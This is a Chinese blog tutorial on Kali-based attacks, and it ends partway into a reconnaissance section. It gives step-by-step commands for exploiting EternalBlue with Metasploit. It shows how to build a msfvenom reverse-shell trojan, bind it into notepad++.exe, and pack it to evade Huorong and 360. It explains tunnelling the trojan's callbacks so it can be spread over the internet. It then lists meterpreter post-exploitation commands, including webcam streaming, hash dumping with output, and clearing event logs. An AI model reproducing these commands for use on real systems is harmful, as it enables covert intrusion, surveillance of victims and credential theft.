当前位置:   article > 正文

kali基础渗透学习,永恒之蓝,木马实战_永恒之蓝渗透实验

永恒之蓝渗透实验

简介

kali的学习本质是在linux上对一些攻击软件的使用,只是学习的初期

先在终端切换到root用户,以便于有些工具对权限的要求

下载链接

镜像源kali

攻击流程

公网信息搜集

寻找漏洞,突破口,以进入内网

进入内网,对内网有价值信息收集

msf

简介

即 MetaSploit Framework,是一款开源安全漏洞利用和测试工具,集成了各种平台上常见的溢出漏洞和流行的shellcode,并持续保持更新。

可以满足渗透测试的全过程

metasploit让复杂的漏洞攻击流程变的非常简单,一个电脑小白经过几小时的学习,就能对操作系统等主流漏洞发起危害性攻击

本质是利用别人开发好的工具,只能对一些老旧系统攻击

如下,模拟使用msf利用永恒之蓝漏洞(因为可以导致蓝屏命名)

在终端输入下面代码启动

msfdb init
msfconsole
  • 1
  • 2

可以db_status查看msf是否连接到postgresql ,用workplace 查看当前工作区

文件结构

安装路径在/usr/share/metasploit-framework/modules/ 其中有以下类型的模块

  1. Auxiliary(辅助模块):这些模块用于辅助渗透测试,包括端口扫描、登录密码爆破、漏洞验证等功能。
  2. Exploits(漏洞利用模块):这些模块包含了主流的漏洞利用脚本,通常用于对可能存在漏洞的目标进行漏洞利用。命名规则一般是操作系统/各种应用协议分类。
  3. Payloads(攻击载荷):这些模块包含了在攻击成功后在目标机器执行的代码,例如反弹shell的代码。
  4. Post(后渗透阶段模块):这些模块在漏洞利用成功获得 meterpreter 之后,向目标发送一些功能性指令,如提权等。
  5. Encoders(编码器模块):这些模块包含各种编码工具,用于对 payload 进行编码加密,以绕过入侵检测和过滤系统。
  6. Evasion(躲避模块):这些模块用于生成免杀 payload,以绕过安全软件的检测。
  7. Nops(空指令模块):由于IDS/IPS会检查数据包中的不规则数据,在某些情况下,比如针对溢出攻击,使用特殊的滑行字符串(NOPS x90x90…)可以避免攻击失效。

永恒之蓝漏洞攻击示例

然后搜索该漏洞的相关渗透工具,每个漏洞都有自己的编号,通过编号搜索,可以在Twitter,github或者微软的安全补丁里面获取较新的漏洞,或者上官网

search ms17_010 # 微软把永恒之蓝漏洞编号为2017年的第10号漏洞
  • 1

得到

   #  Name                                      Disclosure Date  Rank     Check  Description
   -  ----                                      ---------------  ----     -----  -----------
   0  exploit/windows/smb/ms17_010_eternalblue  2017-03-14       average  Yes    MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption
   1  exploit/windows/smb/ms17_010_psexec       2017-03-14       normal   Yes    MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Code Execution
   2  auxiliary/admin/smb/ms17_010_command      2017-03-14       normal   No     MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Command Execution
   3  auxiliary/scanner/smb/smb_ms17_010                         normal   No     MS17-010 SMB RCE Detection
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6

其中,exploit攻击工具,auxiliary是辅助工具

输入对应编号来使用模块

use 0
  • 1

退出

back
  • 1

然后就是设置参数,下面命令查看有那些需要设置

options
  • 1

得到下面,然后对每个required为yes的参数进行设置

将Module options设置为目标机器以利用漏洞,Payload options是通过该漏洞执行的实际恶意代码

Module options (exploit/windows/smb/ms17_010_eternalblue):

   Name           Current Setting  Required  Description
   ----           ---------------  --------  -----------
   RHOSTS                          yes       The target host(s), see https://github.com/rapid7/metasploit-framewor
                                             k/wiki/Using-Metasploit                                           
   RPORT          445              yes       The target port (TCP)
   SMBDomain                       no        (Optional) The Windows domain to use for authentication. Only affects
                                              Windows Server 2008 R2, Windows 7, Windows Embedded Standard 7 targe
                                             t machines.
   SMBPass                         no        (Optional) The password for the specified username
   SMBUser                         no        (Optional) The username to authenticate as
   VERIFY_ARCH    true             yes       Check if remote architecture matches exploit Target. Only affects Win
                                             dows Server 2008 R2, Windows 7, Windows Embedded Standard 7 target ma
                                             chines.
   VERIFY_TARGET  true             yes       Check if remote OS matches exploit Target. Only affects Windows Serve
                                             r 2008 R2, Windows 7, Windows Embedded Standard 7 target machines.


Payload options (windows/x64/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  thread           yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST     192.168.234.133  yes       The listen address (an interface may be specified)
   LPORT     4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Automatic Target
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29
  • 30
  • 31
  • 32
  • 33

如下设置局域网内的ip地址

set RHOSTS 192.168.234.134
  • 1

然后执行该模块

run
  • 1

执行成功后就可以使用meterpreter来执行一些恶意攻击了

输入help可以查看可以执行的指令

如截图,拍照,下载文件等

闲置不用是可以使用exit或background

木马

生成

我们最常使用msfvenom生成远控木马,可以不使用漏洞,执行一些普通权限的操作

msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.235.241 lport=9999 -f exe -o Trojan.exe
下面是命令的解释
-venom 毒液
-p payload
/windows/x64/meterpreter/reverse_tcp  payload的系统,架构,作用,方式
lhost=192.168.123.136 lport=9999 payload的设置
-f format
exe windows可执行文件
-o output
Trojan.exe 文件名
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10

有木马之后我们需要进行免杀处理。

监听

用于监听目标是否点开木马

使用模块

use exploit/multi/handler
  • 1

设置参数

 set payload windows/x64/meterpreter/reverse_tcp
 set lhost 192.168.235.241
 set lport 9999
  • 1
  • 2
  • 3

run执行监听

当我们目标机点击了该文件,我们就可以使用meterpreter控制了

免杀

捆绑木马

在后面加入-x,以同时打开我们的木马,可以防火绒,不能防360

要植入到64位中

msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.1.136 lport=9999 -f exe -x notepad++.exe -o notepad++.exe
  • 1

加壳

用于保护软件著作权的,防止被逆向分析,同时也可以用来保护我们的木马

vmp(Virtual Machine Protector)虚拟机壳,有效的

upx(Ultimate Packer for eXecutables)压缩壳,比较简单

我们使用Themida来加vmp壳

互联网控制

上面的测试是基于局域网的,但我们的木马需要在互联网中传播,所以需要使用隧道网络来实现内网穿透

即被控机器发送到隧道服务器,再转发到我们的kali机器上

我们可以使用Sunny-Ngrok内网穿透服务来实现内网穿透

根据教程开通tcp隧道后,绑定kali的本地端口如127.0.0.1:9999用于handler监听

付费开通后,就可以得到隧道id用于在kali上登录,然后通过ping赠送的域名得到ip以便于生成木马

如下

msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=27.xxx.xxx.xxx lport=10210 -f exe -o Trojan.exe
  • 1

下载软件后登录隧道

./sunny clientid 2231xxxxxxx
  • 1

然后handler绑定127.0.0.1:9999就可以监听了

materpreter

help :展示帮助菜单

shell:执行目标机器的cmd

background 把当前session放到后台,然后返回‘msf’提示的命令行

session:返回session,使用sessions -i 1命令选择:

cat 查看文件内容:

cd pwd ls 切换目录,查看当前目录:

clearev 清除Windows上的日志,(Clear Event),Windows上的日志可以使用事件查看器 win+r输入eventvwr来查看

download 从目标机上下载文件,注意路径需要使用两个反斜杠:

download c:\\boot.ini
  • 1

screenshot 截屏

screenshare 实时监控

webcam_stream 打开摄像头

edit 使用vim 编辑文件:

execute 在目标机器上执行命令,以便后台启动cmd进行操作

meterpreter > execute -f cmd.exe -i -H
  • 1

getid 返回目标主机的服务器名字:

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
  • 1
  • 2

search 在目标机上搜索具体的文件,可以在整个系统中搜索,也可以在指定的目录下搜索,在创建文件模式时可以使用通配符。

meterpreter > search -f autoexec.bat
  • 1

upload 上传文件到目标机上,同download 命令一样在路径中需要使用两个反斜杠:

meterpreter > upload evil_trojan.exe c:\\windows\\system32
  • 1

hashdump dump出Windows上SAM数据库的内容:

meterpreter > run post/windows/gather/hashdump 

[*] Obtaining the boot key...
[*] Calculating the hboot key using SYSKEY 8528c78df7ff55040196a9b670f114b6...
[*] Obtaining the user list and keys...
[*] Decrypting user keys...
[*] Dumping password hashes...

Administrator:500:b512c1f3a8c0e7241aa818381e4e751b:1891f4775f676d4d10c09c1225a5c0a3:::
dook:1004:81cbcef8a9af93bbaad3b435b51404ee:231cbdae13ed5abd30ac94ddeb3cf52d:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
HelpAssistant:1000:9cac9c4683494017a0f5cad22110dbdc:31dcf7f8f9a6b5f69b9fd01502e6261e:::
SUPPORT_388945a0:1002:aad3b435b51404eeaad3b435b51404ee:36547c5a8a3de7d422a026e51097ccc9:::
victim:1003:81cbcea8a9af93bbaad3b435b51404ee:561cbdae13ed5abd30aa94ddeb3cf52d:::
meterpreter >
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15

idletime 返回远程主机用户在线的时长:

meterpreter > idletime
User has been idle for: 5 hours 26 mins 35 secs
meterpreter >
  • 1
  • 2
  • 3

ipconfig 查看远程主机的网络配置情况:

meterpreter > ipconfig

MS TCP Loopback interface
Hardware MAC: 00:00:00:00:00:00
IP Address  : 127.0.0.1
Netmask     : 255.0.0.0

AMD PCNET Family PCI Ethernet Adapter - Packet Scheduler Miniport
Hardware MAC: 00:0c:29:10:f5:15
IP Address  : 192.168.1.104
Netmask     : 255.255.0.0

meterpreter >
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13

migrate 注入到另外一个进程中去:

meterpreter > run post/windows/manage/migrate 

[*] Running module against V-MAC-XP
[*] Current server process: svchost.exe (1076)
[*] Migrating to explorer.exe...
[*] Migrating into process ID 816
[*] New server process: Explorer.EXE (816)
meterpreter >
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8

ps 列出目标当前正在运行的进程:

meterpreter > ps

Process list
============

    PID   Name                  Path
    ---   ----                  ----
    132   VMwareUser.exe        C:\Program Files\VMware\VMware Tools\VMwareUser.exe
    152   VMwareTray.exe        C:\Program Files\VMware\VMware Tools\VMwareTray.exe
    288   snmp.exe              C:\WINDOWS\System32\snmp.exe
...snip...
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11

RESOURCE resource 命令会一行一行地执行文本文件里的meterpreter命令,默认情况下,命令是在目标机的当前目录下执行,而resource文件则是在攻击机本地工作目录下。

meterpreter > resource 
Usage: resource path1 path2Run the commands stored in the supplied files.
meterpreter >
  • 1
  • 2
  • 3

参数:

path1:		包含要执行的命令的文件的位置
Path2Run:	在文件中找到的执行命令的位置
  • 1
  • 2

示例
使用的resource文件如下:

root@kali:~# cat resource.txt
ls
background
root@kali:~#
  • 1
  • 2
  • 3
  • 4

执行resource命令:

meterpreter> > resource resource.txt
[*] Reading /root/resource.txt
[*] Running ls

Listing: C:\Documents and Settings\Administrator\Desktop
========================================================

Mode              Size    Type  Last modified              Name
----              ----    ----  -------------              ----
40777/rwxrwxrwx   0       dir   2012-02-29 16:41:29 -0500  .
40777/rwxrwxrwx   0       dir   2012-02-02 12:24:40 -0500  ..
100666/rw-rw-rw-  606     fil   2012-02-15 17:37:48 -0500  IDA Pro Free.lnk
100777/rwxrwxrwx  681984  fil   2012-02-02 15:09:18 -0500  Sc303.exe
100666/rw-rw-rw-  608     fil   2012-02-28 19:18:34 -0500  Shortcut to Ability Server.lnk
100666/rw-rw-rw-  522     fil   2012-02-02 12:33:38 -0500  XAMPP Control Panel.lnk

[*] Running background

[*] Backgrounding session 1...
msf  exploit(handler) >
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20

信息收集

服务器信息

ip查域名

cdn服务,将目标服务器内容备份到就近的边缘服务器,以便于更快,更可靠的访问资源。相当于对服务器资源的缓存

我们使用多地ping可以判断该网站是否开启了cdn服务,如果ip不唯一,多半是开启了的

如何绕过cdn?

  1. 因为cdn是按流量收费,覆盖一定区域,所以一般只会对中国区域进行开放,所以我们可以使用国外网络来访问,即国外的ping网站
  2. 或者查询子域名的ip,同样是因为太贵,有的并没用开启cdn服务
  3. 邮件的原文,第一行可以看到
  4. 历史dns记录,因为dns和ip是绑定的,所以可以查看绑定记录来获取开通cdn服务之前的ip,可以通过这个网站查看,其中的A记录就是绑定的历史

C段存活主机探测

即扫描ip地址第3段相同的其他服务器地址,因为申请ip时一般都是申请同一c段的

使用linux的nmap命令进行扫描

也可以使用工具 CWebScanner

git clone https://github.com/se55i0n/Cwebscanner.git

端口

根据服务类型不同,分为tcp和udp端口

我们攻击就是针对不同的端口

网站信息

网站架构(操作系统、中间件、数据库、编程语言)、

指纹信息.WAF、敏感目录、敏感文件、源码泄露、旁站查询、C段查询

域名信息

子域名越多,也容易找到漏洞

kali可以直接命令行whois baidu.com查询信息

可以使用站长工具进行whois查询icp查询

子域名

  1. 可以直接google搜索site:bilibili.com 详情看下面谷歌黑客
  2. 使用专业fofa搜索domain="baidu.com" 该网站是收费的
  3. ssl证书查询,因为网站使用https协议,开启443端口,都会由运营商颁发证书,以完成数据的加密解密,可以在点击浏览器中域名前的
    声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/煮酒与君饮/article/detail/848202
推荐阅读
相关标签